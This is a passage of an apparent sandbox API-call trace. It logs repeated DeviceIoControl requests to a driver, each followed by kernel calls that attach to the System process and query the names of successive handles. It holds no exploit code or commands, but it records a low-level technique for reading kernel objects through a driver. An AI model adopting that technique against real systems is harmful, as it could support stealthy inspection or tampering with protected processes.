PriorityBoost=0) [0111.137] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.137] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.137] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.137] PsAcquireProcessExitSynchronization () returned 0x0 [0111.137] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.137] ObReferenceObjectByHandle (in: Handle=0xffffffff80000978, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002967b70, HandleInformation=0x0) returned 0x0 [0111.137] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.137] PsReleaseProcessExitSynchronization () returned 0x2 [0111.137] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.137] ObQueryNameString (in: Object=0xfffffa8002967b70, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.137] ObfDereferenceObject (Object=0xfffffa8002967b70) returned 0x2 [0111.137] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.137] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.137] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.138] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.138] PsAcquireProcessExitSynchronization () returned 0x0 [0111.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.138] ObReferenceObjectByHandle (in: Handle=0xffffffff8000097c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800342a2b0, HandleInformation=0x0) returned 0x0 [0111.138] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.138] PsReleaseProcessExitSynchronization () returned 0x2 [0111.138] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.138] ObQueryNameString (in: Object=0xfffffa800342a2b0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.138] ObfDereferenceObject (Object=0xfffffa800342a2b0) returned 0x2 [0111.138] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.138] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.138] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.138] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.138] PsAcquireProcessExitSynchronization () returned 0x0 [0111.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.138] ObReferenceObjectByHandle (in: Handle=0xffffffff80000980, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f97930, HandleInformation=0x0) returned 0x0 [0111.138] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.138] PsReleaseProcessExitSynchronization () returned 0x2 [0111.138] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.138] ObQueryNameString (in: Object=0xfffffa8002f97930, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.138] ObfDereferenceObject (Object=0xfffffa8002f97930) returned 0x2 [0111.138] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.138] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.138] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.138] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.138] PsAcquireProcessExitSynchronization () returned 0x0 [0111.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.138] ObReferenceObjectByHandle (in: Handle=0xffffffff80000988, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003424050, HandleInformation=0x0) returned 0x0 [0111.138] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.138] PsReleaseProcessExitSynchronization () returned 0x2 [0111.138] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.138] ObQueryNameString (in: Object=0xfffffa8003424050, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.139] ObfDereferenceObject (Object=0xfffffa8003424050) returned 0x2 [0111.139] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.139] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.139] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.139] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.139] PsAcquireProcessExitSynchronization () returned 0x0 [0111.139] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.139] ObReferenceObjectByHandle (in: Handle=0xffffffff800009a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80033f9050, HandleInformation=0x0) returned 0x0 [0111.139] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.139] PsReleaseProcessExitSynchronization () returned 0x2 [0111.139] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.139] ObQueryNameString (in: Object=0xfffffa80033f9050, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.139] ObfDereferenceObject (Object=0xfffffa80033f9050) returned 0x2 [0111.139] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.139] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.139] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.139] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.139] PsAcquireProcessExitSynchronization () returned 0x0 [0111.139] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.139] ObReferenceObjectByHandle (in: Handle=0xffffffff800009a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80028915c0, HandleInformation=0x0) returned 0x0 [0111.139] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.139] PsReleaseProcessExitSynchronization () returned 0x2 [0111.139] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.139] ObQueryNameString (in: Object=0xfffffa80028915c0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.139] ObfDereferenceObject (Object=0xfffffa80028915c0) returned 0x2 [0111.139] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.139] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.139] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.139] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.140] PsAcquireProcessExitSynchronization () returned 0x0 [0111.140] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.140] ObReferenceObjectByHandle (in: Handle=0xffffffff800009ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80033faf20, HandleInformation=0x0) returned 0x0 [0111.140] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.140] PsReleaseProcessExitSynchronization () returned 0x2 [0111.140] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.140] ObQueryNameString (in: Object=0xfffffa80033faf20, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.140] ObfDereferenceObject (Object=0xfffffa80033faf20) returned 0x2 [0111.140] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.140] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.140] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.140] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.140] PsAcquireProcessExitSynchronization () returned 0x0 [0111.140] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.140] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800342a3e0, HandleInformation=0x0) returned 0x0 [0111.140] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.140] PsReleaseProcessExitSynchronization () returned 0x2 [0111.140] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.140] ObQueryNameString (in: Object=0xfffffa800342a3e0, ObjectNameInfo=0xfffffa8003913044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.140] ObfDereferenceObject (Object=0xfffffa800342a3e0) returned 0x2 [0111.140] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.140] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.140] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.140] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.140] PsAcquireProcessExitSynchronization () returned 0x0 [0111.140] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.140] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80026dd050, HandleInformation=0x0) returned 0x0 [0111.140] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.140] PsReleaseProcessExitSynchronization () returned 0x2 [0111.140] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.140] ObQueryNameString (in: Object=0xfffffa80026dd050, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.141] ObfDereferenceObject (Object=0xfffffa80026dd050) returned 0x2 [0111.141] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.141] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.141] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.141] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.141] PsAcquireProcessExitSynchronization () returned 0x0 [0111.141] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.141] ObReferenceObjectByHandle (in: Handle=0xffffffff800009c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80022cf460, HandleInformation=0x0) returned 0x0 [0111.141] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.141] PsReleaseProcessExitSynchronization () returned 0x2 [0111.141] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.141] ObQueryNameString (in: Object=0xfffffa80022cf460, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.141] ObfDereferenceObject (Object=0xfffffa80022cf460) returned 0x2 [0111.141] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.141] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.141] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.141] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.141] PsAcquireProcessExitSynchronization () returned 0x0 [0111.141] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.141] ObReferenceObjectByHandle (in: Handle=0xffffffff800009c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8009f8af20, HandleInformation=0x0) returned 0x0 [0111.141] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.141] PsReleaseProcessExitSynchronization () returned 0x2 [0111.141] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.141] ObQueryNameString (in: Object=0xfffffa8009f8af20, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.141] ObfDereferenceObject (Object=0xfffffa8009f8af20) returned 0x2 [0111.142] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.142] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.142] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.142] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.142] PsAcquireProcessExitSynchronization () returned 0x0 [0111.142] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.142] ObReferenceObjectByHandle (in: Handle=0xffffffff800009cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003585790, HandleInformation=0x0) returned 0x0 [0111.142] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.142] PsReleaseProcessExitSynchronization () returned 0x2 [0111.142] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.142] ObQueryNameString (in: Object=0xfffffa8003585790, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.142] ObfDereferenceObject (Object=0xfffffa8003585790) returned 0x2 [0111.142] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.142] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.142] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.142] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.142] PsAcquireProcessExitSynchronization () returned 0x0 [0111.142] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.142] ObReferenceObjectByHandle (in: Handle=0xffffffff800009d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80033f3830, HandleInformation=0x0) returned 0x0 [0111.142] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.142] PsReleaseProcessExitSynchronization () returned 0x2 [0111.142] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.142] ObQueryNameString (in: Object=0xfffffa80033f3830, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.142] ObfDereferenceObject (Object=0xfffffa80033f3830) returned 0x2 [0111.142] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.142] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.142] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.143] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.143] PsAcquireProcessExitSynchronization () returned 0x0 [0111.143] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.143] ObReferenceObjectByHandle (in: Handle=0xffffffff800009dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002005b20, HandleInformation=0x0) returned 0x0 [0111.143] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.143] PsReleaseProcessExitSynchronization () returned 0x2 [0111.143] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.143] ObQueryNameString (in: Object=0xfffffa8002005b20, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.143] ObfDereferenceObject (Object=0xfffffa8002005b20) returned 0x2 [0111.143] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.143] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.143] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.143] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.143] PsAcquireProcessExitSynchronization () returned 0x0 [0111.143] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.143] ObReferenceObjectByHandle (in: Handle=0xffffffff800009e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80035fa830, HandleInformation=0x0) returned 0x0 [0111.143] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.143] PsReleaseProcessExitSynchronization () returned 0x2 [0111.143] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.143] ObQueryNameString (in: Object=0xfffffa80035fa830, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.143] ObfDereferenceObject (Object=0xfffffa80035fa830) returned 0x2 [0111.143] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.143] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.143] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.143] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.143] PsAcquireProcessExitSynchronization () returned 0x0 [0111.143] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, 